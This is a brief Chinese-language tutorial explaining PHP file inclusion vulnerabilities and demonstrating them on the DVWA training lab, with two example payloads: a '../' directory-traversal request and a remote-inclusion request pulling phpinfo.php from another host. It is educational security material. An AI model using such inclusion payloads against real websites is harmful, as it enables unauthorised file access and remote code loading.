目录
漏洞原理:
PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用 文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的 风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影 响控制被包含文件的路径,就会产生任意文件包含漏洞。
危害:
攻击者可以利用该漏洞窃取敏感信息、篡改数据、破坏系统稳定性等。
以dvwa靶场的文件包含漏洞为例
登录靶场
打开hackbar
尝试本地文件访问
利用../ 进行目录穿越访问phpinfo.php,并且运行了
?page=../../../phpinfo.php
远程文件访问
?page=http://192.168.176.172/phpinfo.php